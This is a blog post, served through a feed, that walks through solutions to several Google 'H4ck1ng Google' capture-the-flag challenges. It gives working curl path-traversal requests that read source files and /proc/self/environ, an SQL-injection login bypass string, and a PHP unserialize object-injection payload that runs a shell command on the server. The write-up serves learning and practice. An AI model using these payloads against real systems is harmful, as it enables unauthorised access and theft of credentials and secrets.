- ctfZola2022-10-19T00:00:00+00:00https://srg.id.au/tags/ctf/atom.xml"H4CK1NG GOOGLE" - Solving Google CTF challenges2022-10-19T00:00:00+00:002022-10-19T00:00:00+00:00https://srg.id.au/posts/hacking-google/<blockquote>
<p><strong>Note</strong>: This post will contain spoilers for most of the challenges in the CTF. If you want to solve the challenges yourself, I recommend you stop reading now.</p>
</blockquote>
<h1 id="introduction">Introduction</h1>
<p><a href="https://h4ck1ng.google/">H4ck1ng Google</a> is a CTF (capture-the-flag) challenge released by Google about a month ago. It involves solving various puzzles to get the flag, which for those inexperienced in CTFs is a string of characters that you need to find in order to solve the challenge. The challenges are divided into episodes with 3 challenges per each, numbered starting from <code>000</code>.</p>
<h1 id="episode-000">Episode 000</h1>
<h2 id="challenge-01">Challenge 01</h2>
<p>We are given a single link to <a href="https://hackerchess-web.h4ck.ctfcompetition.com/">https://hackerchess-web.h4ck.ctfcompetition.com/</a>, which looks like an online chess game.</p>
<figure >
<a href="ep0ch1-main.png">
<img src="ep0ch1-main.png"alt="An online chess game website."/>
</a>
<figcaption>
<p>The main page of the website.</p>
</figcaption>
</figure>
<p>If you try playing this chess game, you'll find that the AI on the other end actually cheats, making it impossible to win. Therefore, we've got to find a way to cheat as well.</p>
<p>There's a big, suspicious link in the bottom right titled "Master Login", always a good place to start. Clicking on it takes us to a simple login page, which we can try a couple of times with common passwords. No luck.</p>
<figure >
<a href="ep0ch1-login.png">
<img src="ep0ch1-login.png"alt="A login page."/>
</a>
<figcaption>
<p>The login page.</p>
</figcaption>
</figure>
<p>The next thing is to look at the developer console for hints. Let's switch to the network tab and see how this chess game works.</p>
<p>When I press "Start", it looks as though the game sends out a POST request to <code>/load_board.php</code> with a payload of <code>filename=baseboard.fen</code>. This looks interesting, so let's try to change the filename to something else.</p>
<figure >
<a href="ep0ch1-devtools-network.png">
<img src="ep0ch1-devtools-network.png"alt="The network tab of the developer console."/>
</a>
<figcaption>
<p>The network tab of the developer console.</p>
</figcaption>
</figure>
<p>We can use <code>curl</code> to send a request to the server and see what happens. </p>
<blockquote>
<p><em>Note</em>: From here on, there's multiple solutions, so for the sake of completeness, I'll be showing all of them.</p>
</blockquote>
<h3 id="solution-1-environment-variable-exfiltration">Solution 1 (environment variable exfiltration)</h3>
<p>We know that the actual chess website is in <code>index.php</code>, so let's try getting that.</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">curl</span><span> https://hackerchess-web.h4ck.ctfcompetition.com/load_board.php</span><span style="color:#bf616a;"> -d </span><span>"</span><span style="color:#a3be8c;">filename=index.php</span><span>"
</span></code></pre>
<figure >
<a href="ep0ch1-indexphp.png">
<img src="ep0ch1-indexphp.png"alt="The output of curl."/>
</a>
<figcaption>
<p>The output of curl. We can see that the server is sending us the contents of index.php!</p>
</figcaption>
</figure>
<p>Inspecting this file for the flag yields the following:</p>
<pre data-lang="php" style="background-color:#2b303b;color:#c0c5ce;" class="language-php "><code class="language-php" data-lang="php"><span>if ($chess->inCheckmate()) {
</span><span> if ($chess->turn != "b") {
</span><span> echo '<</span><span style="color:#bf616a;">h1</span><span>>You lost! Game Over!</</span><span style="color:#bf616a;">h1</span><span>>';
</span><span> } else {
</span><span> echo "<</span><span style="color:#bf616a;">h1</span><span>>ZOMG How did you defeat my AI :(. You definitely cheated. Here's your flag: ". getenv('REDIRECT_FLAG') . "</</span><span style="color:#bf616a;">h1</span><span>>";
</span><span> }
</span><span>}
</span></code></pre>
<p>Looks like the flag is in the <code>REDIRECT_FLAG</code> environment variable. Let's try to get that. We can use the same <code>curl</code> command as before, but this time we'll try to get the environment variables. (On Linux systems, environment variables are stored in <code>/proc/self/environ</code>.)</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">curl</span><span> https://hackerchess-web.h4ck.ctfcompetition.com/load_board.php</span><span style="color:#bf616a;"> -d </span><span>"</span><span style="color:#a3be8c;">filename=/proc/self/environ</span><span>"
</span></code></pre>
<figure >
<a href="ep0ch1-environ.png">
<img src="ep0ch1-environ.png"alt="The output of curl."/>
</a>
<figcaption>
<p>The output of curl. We can see that the server is sending us the contents of /proc/self/environ!</p>
</figcaption>
</figure>
<p>Inspecting the output, we can see that the flag is in the <code>REDIRECT_FLAG</code> variable. (I won't be directly sharing the flag here to stop indexing bots from finding it.)</p>
<h3 id="solution-2-sql-injection">Solution 2 (SQL injection)</h3>
<p>This was the solution I found first, and it's (in my opinion) a bit more fun. We can use SQL injection to get the flag.</p>
<p>Let's take a look at <code>admin.php</code>:</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">curl</span><span> https://hackerchess-web.h4ck.ctfcompetition.com/load_board.php</span><span style="color:#bf616a;"> -d </span><span>"</span><span style="color:#a3be8c;">filename=admin.php</span><span>"
</span></code></pre>
<figure >
<a href="ep0ch1-adminphp.png">
<img src="ep0ch1-adminphp.png"alt="The output of curl."/>
</a>
<figcaption>
<p>The output of curl, showing us the contents of admin.php.</p>
</figcaption>
</figure>
<p>The important part is the following:</p>
<pre data-lang="php" style="background-color:#2b303b;color:#c0c5ce;" class="language-php "><code class="language-php" data-lang="php"><span>if (isset($_POST['username']) && isset($_POST['password'])) {
</span><span> $query = sprintf("SELECT username FROM chess_ctf_admins WHERE username='%s' AND password='%s'", $_POST['username'], $_POST['password']);
</span><span> try {
</span><span> $result = $conn->query($query);
</span><span> } catch (mysqli_sql_exception $e) {
</span><span> echo($e);
</span><span> }
</span><span> ...
</span><span>}
</span></code></pre>
<p>We can see that the server is using <code>sprintf</code> to format the SQL query. This means that we can inject SQL into the query, and the server will let us log in.</p>
<p>Let's go back to the login page and try to log in with the following credentials:</p>
<pre style="background-color:#2b303b;color:#c0c5ce;"><code><span>username: anything
</span><span>password: ' OR 1=1; --
</span></code></pre>
<p>It works! We can see the configuration page for the chess game.</p>
<figure >
<a href="ep0ch1-config.png">
<img src="ep0ch1-config.png"alt="The configuration page for the chess game."/>
</a>
<figcaption>
<p>The configuration page for the chess game.</p>
</figcaption>
</figure>
<p>Let's set thinking time to 1 and "AI Queen Cheats" to "Off". Now, go ahead and play the game again. You should be able to win, which will yield the flag.</p>
<h2 id="challenge-02">Challenge 02</h2>
<p>We're given a link to <a href="https://aurora-web.h4ck.ctfcompetition.com">https://aurora-web.h4ck.ctfcompetition.com/</a>, which we're told is a log search tool.</p>
<figure >
<a href="ep0ch2-main.png">
<img src="ep0ch2-main.png"alt="The main page of the log search tool."/>
</a>
<figcaption>
<p>The main page of the log search tool.</p>
</figcaption>
</figure>
<p>We can only search for a minimum of 4 characters, which is a bit annoying. Let's try to bypass this by checking the network requests again.</p>
<p>We can see a request to <code>https://aurora-web.h4ck.ctfcompetition.com/?file=hexdump.txt&term=aurora</code>. Let's try to change the <code>term</code> parameter to something shorter.</p>
<figure >
<a href="ep0ch2-shortersearch.png">
<img src="ep0ch2-shortersearch.png"alt="A blank page."/>
</a>
<figcaption>
<p>A blank page. This is the result of a search for "aur".</p>
</figcaption>
</figure>
<p>Okay, so it looks like that strategy won't work. Let's try to find a way to get the flag by editing the <code>file</code> parameter instead. Keeping in mind our antics with the chess game, we can try to get the contents of <code>/proc/self/environ</code>. But we also must think of a search term that will return a result. Let's try <code>USER</code>, because that's a common environment variable.</p>
<figure >
<a href="ep0ch2-environ.png">
<img src="ep0ch2-environ.png"alt="Getting /proc/self/environ"/>
</a>
<figcaption>
<p>The contents of <code>/proc/self/environ</code> (I've blanked out my IP address).</p>
</figcaption>
</figure>
<p>Unfortunately, there's no flag to be seen. However, we now know that we can access any file in the system we want, so let's try an obvious one: <code>/flag</code>. Again, we search for a term that we know will yield results - in this case, <code>solve</code> since it's in all the flags.</p>
<figure >
<a href="ep0ch2-flag.png">
<img src="ep0ch2-flag.png"alt="Getting /flag"/>
</a>
<figcaption>
<p>The contents of <code>/flag</code>.</p>
</figcaption>
</figure>
<p>And there we have it! The flag is returned to us.</p>
<h1 id="episode-001">Episode 001</h1>
<h2 id="challenge-1">Challenge 1</h2>
<p>This challenge involves binary inspection and exploitation. We're given these files:</p>
<ul>
<li><code>wannacry</code></li>
<li><code>flag</code></li>
</ul>
<p>The first step is figuring out what we've actually been given. We can use <code>file</code> to determine the file type of <code>wannacry</code> and <code>flag</code>.</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> file wannacry
</span><span style="color:#bf616a;">wannacry:</span><span> ELF 64-bit LSB executable, x86-64, version 1 (SYSV)</span><span style="color:#bf616a;">,</span><span> dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=IGPSbKhPf45BQqlR84-9/XWC3eVS4fozNp9uK4nDp/_Styn3U-Z8S6ExnY6QOR/RTzNS5QnFmUHeSBeyHIu, with debug_info, not stripped
</span><span>
</span><span style="color:#bf616a;">$</span><span> file flag
</span><span style="color:#bf616a;">flag:</span><span> OpenPGP Secret Key
</span></code></pre>
<p>We can see that <code>wannacry</code> is a 64-bit ELF executable, and <code>flag</code> is an OpenPGP secret key. Let's take a look at <code>wannacry</code> first.</p>
<h3 id="binary-inspection">Binary inspection</h3>
<p>First, let's run this binary. I used a server on <a href="https://repl.it">repl.it</a>, just because I have an M1 Mac and this is a x86-64 binary. Also, it's probably best practice to run binaries in a sandboxed environment.</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> ./wannacry
</span><span style="color:#bf616a;">Usage</span><span> of ./wannacry:
</span><span> </span><span style="color:#bf616a;">-encrypted_file</span><span> string
</span><span> </span><span style="color:#bf616a;">File</span><span> name to decrypt.
</span><span> </span><span style="color:#bf616a;">-key_file</span><span> string
</span><span> </span><span style="color:#bf616a;">File</span><span> name of the private key.
</span></code></pre>
<p>Great! So we've confirmed what <code>file</code> told us - this challenge has something to do with cryptography. </p>
<p>Let's take a look at the contents of the binary itself. While executable binaries are usually stripped, this one isn't. We can use <code>strings</code> to take a look at whatever readable strings are in the binary.</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> strings wannacry
</span><span style="color:#bf616a;">...
</span><span><long </span><span style="color:#bf616a;">list</span><span> of strings>
</span></code></pre>
<p>It's a bit hard to read, so let's pipe the output to <code>grep</code> and search for some keywords.</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> strings wannacry | </span><span style="color:#bf616a;">grep </span><span>"</span><span style="color:#a3be8c;">flag</span><span>"
</span><span><nothing </span><span style="color:#bf616a;">useful</span><span>>
</span><span>
</span><span style="color:#bf616a;">$</span><span> strings wannacry | </span><span style="color:#bf616a;">grep </span><span>"</span><span style="color:#a3be8c;">key</span><span>"
</span><span style="color:#bf616a;">...
</span><span style="color:#bf616a;">Keys</span><span> are here:
</span><span style="color:#bf616a;">https://wannacry-keys-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com/
</span><span style="color:#bf616a;">...
</span></code></pre>
<p>Great! Looks like we have a URL to check out. Let's take a look at it.</p>
<figure >
<a href="ep1ch1-keys.png">
<img src="ep1ch1-keys.png"alt="The keys page."/>
</a>
<figcaption>
<p>The keys page.</p>
</figcaption>
</figure>
<p>Looks like a lot of <code>.pem</code> files. It seems clear that what we need to do is decrypt the flag using one of these keys. </p>
<p>Here's a simple script to download all the keys, then decrypt the flag using each one. (Let's assume the flag contains <code>solve</code> like before).</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#65737e;">#!/bin/bash
</span><span>
</span><span style="color:#bf616a;">wget -r </span><span>"</span><span style="color:#a3be8c;">https://wannacry-keys-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com/</span><span>"
</span><span>
</span><span style="color:#b48ead;">for</span><span> key </span><span style="color:#b48ead;">in </span><span>$(</span><span style="color:#bf616a;">ls</span><span> wannacry-keys-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com/*.pem); </span><span style="color:#b48ead;">do
</span><span> </span><span style="color:#96b5b4;">echo </span><span>"</span><span style="color:#a3be8c;">Trying </span><span>$</span><span style="color:#bf616a;">key</span><span>"
</span><span> </span><span style="color:#bf616a;">./wannacry -key_file </span><span>$</span><span style="color:#bf616a;">key -encrypted_file</span><span> flag | </span><span style="color:#bf616a;">grep </span><span>"</span><span style="color:#a3be8c;">solve</span><span>"
</span><span style="color:#b48ead;">done
</span></code></pre>
<p>And we get the flag!</p>
<h2 id="challenge-2">Challenge 2</h2>
<p>This challenge involves some reverse-engineering. Let's take a look at the file we're given:</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> file wannacry
</span><span style="color:#bf616a;">wannacry:</span><span> ELF shared object, 64-bit LSB x86-64, dynamic (/lib64/ld-linux-x86-64.so.2)</span><span style="color:#bf616a;">,</span><span> BuildID=0c23340ab6c6d0c158f0ee356a1deb0253d8cf4c, not stripped
</span><span>
</span><span style="color:#bf616a;">$</span><span> ./wannacry
</span><span><no </span><span style="color:#bf616a;">output</span><span>>
</span></code></pre>
<p>Looks like another binary, with a slightly different structure. Let's try the same strategy as last time to see if we can find any useful strings.</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> strings wannacry
</span><span style="color:#bf616a;">...
</span><span style="color:#bf616a;">abacus
</span><span style="color:#bf616a;">abdomen
</span><span style="color:#bf616a;">abdominal
</span><span style="color:#bf616a;">abide
</span><span style="color:#bf616a;">...
</span><span style="color:#bf616a;">zoologist
</span><span style="color:#bf616a;">zoology
</span><span style="color:#bf616a;">zoom
</span><span style="color:#bf616a;">https://wannacry-killswitch-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com//
</span></code></pre>
<p>Looks like we have another URL to check out. Let's take a look at it.</p>
<figure >
<a href="ep1ch2-princess.png">
<img src="ep1ch2-princess.png"alt="A website that says 'our princess is in another castle'."/>
</a>
<figcaption>
<p>The killswitch page.</p>
</figcaption>
</figure>
<p>No luck! But our other discovery, the wordlist, tells us that this is probably some type of passcode-generating program.</p>
<p>At this point, we need to reverse-engineer the binary as command-line tools can only give us so much. I used <a href="https://ghidra-sre.org/">Ghidra</a> to do this.</p>
<blockquote>
<p>Note: I've never used Ghidra before, so I'm not sure if this is the best way to do this. If you know of a better way, please let me know! (And don't use this as a guide to how to use Ghidra.)</p>
</blockquote>
<h3 id="reverse-engineering-with-ghidra">Reverse-engineering with Ghidra</h3>
<p>I opened a new project in Ghidra, and imported the <code>wannacry</code> binary. I looked through the available functions until I found the <code>main</code> one - the one that's executed when the program is called.</p>
<figure >
<a href="ep1ch2-ghidramain.png">
<img src="ep1ch2-ghidramain.png"alt="The main function."/>
</a>
<figcaption>
<p>The main function.</p>
</figcaption>
</figure>
<p>All of this code is in Assembly, so it's a bit hard to read. But the gist seems to be that the whole program uses the current timestamp to generate a passcode based upon the wordlist, and some cryptographic functions. It also doesn't seem like this program takes any input, so I wasn't sure how to actually get the generated passcode.</p>
<p>However, I did notice that there's another function called <code>print</code> that is never called - you can verify this through the "Show References" option in the right-click menu.</p>
<figure >
<a href="ep1ch2-ghidraprint.png">
<img src="ep1ch2-ghidraprint.png"alt="The print function."/>
</a>
<figcaption>
<p>The print function. You can see that there's no <code>CALL</code> to this function.</p>
</figcaption>
</figure>
<p>So, I looked it up and learnt how to patch instructions in Ghidra. Then, I went back to <code>main</code> and patched the instruction at index <code>0012f88</code> to <code>CALL print</code>.</p>
<blockquote>
<p>Note: I'm patching this specific line because it was the first one that worked after a couple of tries with different ones.</p>
</blockquote>
<figure >
<a href="ep1ch2-patching.png">
<img src="ep1ch2-patching.png"alt="Patching the instruction."/>
</a>
<figcaption>
<p>Patching the instruction. I've no clue what the hex code dropdown values mean, but I just chose the green ones.</p>
</figcaption>
</figure>
<p>I then exported the program as a <strong>ELF binary</strong> (not a shared object), and ran it.</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> ./wannacry-patched
</span><span style="color:#bf616a;">https://wannacry-killswitch-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com//almanacSegmentation</span><span> fault (core dumped)
</span></code></pre>
<p>And we get the flag! (And a segfault, but that's fine.)</p>
<blockquote>
<p>Note: This flag won't work right now, because it's timestamp-based. But you can follow the same steps to get the flag for the current timestamp.</p>
</blockquote>
<h2 id="challenge-3">Challenge 3</h2>
<p>Back to a familiar screen - the chess challenge. But this time there's no conspicuous admin page, so more investigation is required.</p>
<p>It seems that the same method of source code exfiltration from the very first challenge still works, so let's try it here (Note: the domain has changed).</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> curl https://hackerchess2-web.h4ck.ctfcompetition.com/load_board.php</span><span style="color:#bf616a;"> -d </span><span>"</span><span style="color:#a3be8c;">filename=index.php</span><span>"
</span><span style="color:#bf616a;">Loading</span><span> Fen: <?php
</span><span style="color:#bf616a;">session_save_path</span><span>('</span><span style="color:#a3be8c;">/mnt/disks/sessions</span><span>');
</span><span style="color:#8fa1b3;">session_start</span><span>();
</span><span>...
</span></code></pre>
<p>It still works, so chances are that this is what we'll need to solve the problem. Looking at the source code, we see a lot of interesting stuff, including the below:</p>
<pre data-lang="php" style="background-color:#2b303b;color:#c0c5ce;" class="language-php "><code class="language-php" data-lang="php"><span>if ($chess->inCheckmate()) {
</span><span> if ($chess->turn != "b") {
</span><span> echo '<</span><span style="color:#bf616a;">h1</span><span>>You lost! Game Over!</</span><span style="color:#bf616a;">h1</span><span>>';
</span><span> } else {
</span><span> echo "<</span><span style="color:#bf616a;">h1</span><span>>Winning against me won't help anymore. You need to get the flag from my envs." . "</</span><span style="color:#bf616a;">h1</span><span>>";
</span><span> }
</span><span>}
</span></code></pre>
<p>It seems that there's no use in winning against the chess engine, so we need to find a way to get the flag from the environment variables. Can we use the same method that we used in the first challenge?</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> curl https://hackerchess2-web.h4ck.ctfcompetition.com/load_board.php</span><span style="color:#bf616a;"> -d </span><span>"</span><span style="color:#a3be8c;">filename=../../../../../../proc/self/environ</span><span>"
</span><span style="color:#bf616a;">unsupported</span><span> board
</span></code></pre>
<p>Nope! Looks like the <code>load_board.php</code> file has been patched. We can check this by looking at the source code of the file.</p>
<pre data-lang="bash" style="background-color:#2b303b;color:#c0c5ce;" class="language-bash "><code class="language-bash" data-lang="bash"><span style="color:#bf616a;">$</span><span> curl https://hackerchess2-web.h4ck.ctfcompetition.com/load_board.php</span><span style="color:#bf616a;"> -d </span><span>"</span><span style="color:#a3be8c;">filename=load_board.php</span><span>"
</span><span style="color:#bf616a;">...
</span><span>$</span><span style="color:#bf616a;">allowed</span><span> = array('</span><span style="color:#a3be8c;">fen</span><span>', '</span><span style="color:#a3be8c;">php</span><span>', '</span><span style="color:#a3be8c;">html</span><span>');
</span><span>$</span><span style="color:#bf616a;">filename</span><span> = $</span><span style="color:#bf616a;">_POST</span><span style="color:#b48ead;">[</span><span>'</span><span style="color:#a3be8c;">filename</span><span>'</span><span style="color:#b48ead;">]</span><span>;
</span><span>$</span><span style="color:#bf616a;">ext</span><span> = pathinfo($</span><span style="color:#bf616a;">filename</span><span>, PATHINFO_EXTENSION);
</span><span style="color:#b48ead;">if </span><span>(!</span><span style="color:#bf616a;">in_array</span><span>($</span><span style="color:#bf616a;">ext</span><span>, $</span><span style="color:#bf616a;">allowed</span><span>)) {
</span><span> </span><span style="color:#bf616a;">die</span><span>('</span><span style="color:#a3be8c;">unsupported board</span><span>');
</span><span>}
</span></code></pre>
<blockquote>
<p>Note: the shoddy validation in this code implies that a <a href="https://forums.hak5.org/topic/39958-bypassing-pathinfo-or-getimagesize-php-shell-upload/">PHP <code>pathinfo</code> bypass</a> would be possible, but I couldn't get it to work. If you know how to do this, please let me know!</p>
</blockquote>
<p>Okay, so we can only request files that end in <code>.fen</code>, <code>.php</code>, or <code>.html</code>. Let's get back to index.php and see if we can find anything useful.</p>
<p>I noticed a lot of <code>DEBUG</code> statements, which I thought were interesting because it was unlikely that they would be left in the final code except as a clue. Then, I found this code:</p>
<pre data-lang="php" style="background-color:#2b303b;color:#c0c5ce;" class="language-php "><code class="language-php" data-lang="php"><span>$movei = unserialize(base64_decode($_GET['move_end']));
</span><span>if ($chess->turn == "b") {
</span><span> #XXX: this should never happen.
</span><span> $chess = init_chess();
</span><span> $_SESSION['board'] = serialize($chess);
</span><span> die('Invalid Board state. Refresh the page');
</span><span>}
</span><span>echo "</span><span style="color:#65737e;"><!-- XXX : Debug remove this ".$movei. "--></span><span>";
</span></code></pre>
<p>Can you guess which of these lines is critical to getting the flag? It's actually the <code>unserialize</code> one. It turns out that PHP, when unserializing a string, can actually overwrite classes which have been defined already. </p>
<p>This is called a <a href="https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection">PHP <code>unserialize</code> vulnerability</a>, and it means that it's crucial that user-supplied input is never directly unserialized, which is exactly what's happening here.</p>
<p>Through reading the <code>index.php</code> code, I noticed that the class <code>Stockfish</code> has a public variable <code>$binary</code> that later gets executed directly.</p>
<pre data-lang="php" style="background-color:#2b303b;color:#c0c5ce;" class="language-php "><code class="language-php" data-lang="php"><span>class Stockfish
</span><span>{
</span><span> ...
</span><span> public $binary = "/usr/games/stockfish";
</span><span> ...
</span><span> public function __wakeup()
</span><span> {
</span><span> $this->process = proc_open($this->binary, $this->descriptorspec, $this->pipes, $this->cwd, null, $this->other_options) ;
</span><span> echo '</span><span style="color:#65737e;"><!--'.'wakeupcalled'.fgets($this->pipes[1], 4096).'--></span><span>';
</span><span> }
</span><span>}
</span></code></pre>
<p>So, if we overwrite the <code>$binary</code> variable with our own, it seems like the server will just execute whatever command we want.</p>
<p>Now, using <a href="http://php.fnlist.com/php/serialize">this website</a>, I generated the below payload, which we will Base64 encode and then use it as the <code>?move_end</code> parameter.</p>
<pre data-lang="php" style="background-color:#2b303b;color:#c0c5ce;" class="language-php "><code class="language-php" data-lang="php"><span>// -- Class -- -variable- ---- binary to execute ---
</span><span>O:9:"Stockfish":1:{s:6:"binary";s:22:"cat /proc/self/environ";}}
</span></code></pre>
<figure >
<a href="ep1ch3-success.png">
<img src="ep1ch3-success.png"alt="Website source code"/>
</a>
<figcaption>
<p>Done! The command's output is put in a comment in the source code of the page we get, and the flag is clearly visible.</p>
</figcaption>
</figure>
<p>And we get the flag!</p>
<h1 id="episode-002">Episode 002</h1>
<h2 id="challenge-2-1">Challenge 2</h2>
<p>We are given instructions to launch a Docker container, as well as a CSV file.</p>
<p>Searching for "http" in the CSV file, we find the flag.</p>
<figure >
<a href="ep2ch2-flag.png">
<img src="ep2ch2-flag.png"alt="Flag in CSV file"/>
</a>
<figcaption>
<p>(This is probably not the intended way to do it.)</p>
</figcaption>
</figure>